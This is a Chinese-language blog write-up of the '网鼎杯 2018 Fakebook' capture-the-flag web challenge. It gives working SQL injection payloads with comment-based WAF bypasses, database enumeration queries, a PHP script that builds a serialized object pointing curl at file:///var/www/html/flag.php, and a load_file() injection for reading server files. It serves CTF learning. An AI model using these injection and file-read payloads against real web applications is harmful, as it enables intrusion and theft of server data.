[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

解题思路概述

本题是一个综合性的Web漏洞利用题,需要通过SQL注入获取用户信息,结合反序列化和SSRF漏洞读取服务器上的flag文件

详细解题步骤

第一步:信息收集与注册

访问题目地址,发现有Login和Join两个按钮

访问login尝试注入无果

image

接着访问Join注册一个新账号,注意blog字段必须填写URL格式,否则无法通过验证

image

注册成功后,点击用户名进入个人页面,URL格式为:/view.php?no=1 这个 no 参数就是后续注入的关键点

但这边我怎么都加载不出来,查看源码抓包重启靶场都不行(这波被资本做局了)最后只能去看其他大佬的wp,也是提供了思路,既然无法访问,那我就不注册直接访问view (╯-_-)╯╧╧

image
最终有页面了不再是啥也没有,虽然是报错但不影响,主要因为没有注册的原因


第二步:发现SQL注入

测试no参数,添加单引号:

/view.php?no=1'

页面报错,显示SQL语法错误,确认存在注入点

使用order by判断字段数:

/view.php?no=1 order by 4  -- 正常
/view.php?no=1 order by 5  -- 报错

字段数为4

尝试联合查询,发现union select被WAF拦截:

/view.php?no=1 union select 1,2,3,4  -- 显示 "no hack"

绕过WAF:使用注释符或内联注释绕过

/view.php?no=-1 union/**/select 1,2,3,4
或者
/view.php?no=0 union/*!select*/ 1,2,3,4

成功执行,发现第2个字段是回显位,细心观察这边还出现了反序列化函数,记住这个反序列化后面要考↖( ̄︶ ̄)

image


第三步:数据库信息搜集

1.查询当前数据库:

/view.php?no=-1 union/**/select 1,database(),3,4

结果:fakebook

2.查询所有表:

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

结果:users

3.查询users表字段:

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

结果:no,username,passwd,data

4.查询数据,重点关注data字段:

/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

因为我这边没有登入,所以没有正常回显
image

正常情况会回显data字段,存储的是序列化的用户数据,回显格式类似:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:19:"http://example.com";}

结合前面暴露出来的函数,可以推断是反序列漏洞,但因为不知道源码,无法很好的构造payload,所有查看一下有没有敏感信息泄露


第四步:源码泄露与审计

使用 dirsearch 目录扫描工具,kali自带可以直接用kali,扫描的频率不能太快要锁线程,否则504

工具链接:https://github.com/maurosoria/dirsearch

扫出目录 flag.phprobots.txt 直接访问flag.php为空白页面查看源码也没东西,估计在后端得要查看flag的源码

1.接着访问robots.txt文件,发现有备份文件
image

2.下载备份文件/user.php.bak,得到PHP源码:

// 定义UserInfo类,用于管理用户信息和博客相关操作
class UserInfo
{
    public $name = ""; // 公共属性:用户名,默认值为空字符串
    public $age = 0; // 公共属性:年龄,默认值为0
    public $blog = ""; // 公共属性:博客URL地址,默认值为空字符串

    // 构造函数:对象创建时自动调用,用于初始化用户信息
    public function __construct($name, $age, $blog)
    {
        $this->name = $name; // 将传入的$name参数赋值给当前对象的name属性
        $this->age = (int)$age;// 将传入的$age参数强制转换为整数后赋值给age属性,确保数据类型正确
        $this->blog = $blog;// 将传入的$blog参数赋值给当前对象的blog属性
    }

    // 通用方法:使用cURL发送HTTP GET请求获取指定URL的内容
    function get($url)
    {
        $ch = curl_init(); // 初始化一个cURL会话,返回cURL句柄

        curl_setopt($ch, CURLOPT_URL, $url); // 设置cURL选项:指定请求的URL地址
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// 设置cURL选项:将返回结果作为字符串返回,而不是直接输出
        $output = curl_exec($ch); // 执行cURL请求,获取响应内容
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);// 获取HTTP响应状态码(如200、404等)
        
        // 判断如果状态码是404(未找到)
        if($httpCode == 404) {
            return 404; // 返回整数值404,表示页面不存在
        }
        curl_close($ch); // 关闭cURL会话,释放资源

        return $output; // 返回获取到的网页内容
    }
    
    // 公共方法:获取当前用户博客的内容
    public function getBlogContents ()
    {
        return $this->get($this->blog); // 调用get()方法,传入当前对象的blog属性值(博客URL)
    }

    // 公共方法:验证博客URL格式是否合法
    public function isValidBlog ()
    {
        $blog = $this->blog; // 将当前对象的blog属性值赋值给局部变量$blog
        
        // 使用正则表达式匹配验证URL格式
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

关键发现:

get()方法使用curl_exec()访问URL,没有协议限制

可以通过 file:// 协议读取本地文件,存在SSRF漏洞



漏洞利用 - 读取flag

方法1:通过SSRF+反序列化(推荐)

1.确定flag位置:通过报错信息或常见路径,flag在 /var/www/html/flag.php

image
2.构造payload,将blog改为file:///var/www/html/flag.php:

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$user = new UserInfo();
$payload = serialize($user);

echo $payload;
?>

4.通过SQL注入将data字段替换为构造的序列化数据:

/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

payload需要使用单引号括起来,这是SQL语法的基本要求。在SQL中,字符串字面量必须用引号括起来,否则会被识别为列名或关键字,导致无法解析查看flag

payload要放在第四回显位,否则也无法执行
根据题目分析,users 表的结构是:no,username,passwd,data

猜测程序的处理流程为:

// 伪代码
$result = query("SELECT * FROM users WHERE no = $id");
$row = $result->fetch();
$user = unserialize($row['data']);  // 只反序列化第4个字段
echo $user->getBlogContents();      // 调用get()方法访问blog地址
  • 只有第4个字段(data列)会被 unserialize() 反序列化
  • 其他字段(no、username、passwd)都有特定用途,不会被反序列化
  • 必须将构造的序列化字符串放入 data 字段,才能控制 UserInfo 对象的 blog 属性

4.页面会将flag.php内容以base64编码形式返回在iframe中(查看网页源代码,直接给了flag)

image

5.解码base64即可得到flag
在线base64解码:https://www.base64decode.org/zh/

image



方法2:直接使用load_file()(更简便)

细心的话在sql注入的时候查看一下当前用户,会发现直接给的是root用户,都root了那得老嚣张了ψ(`∇´)ψ

/view.php?no=-1 union/**/select 1,user(),3,4

image

通过注入利用load_file()函数直接读取文件:

/view.php?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
posted @ 2026-01-10 02:38  云懿  阅读(6)  评论(0)    收藏  举报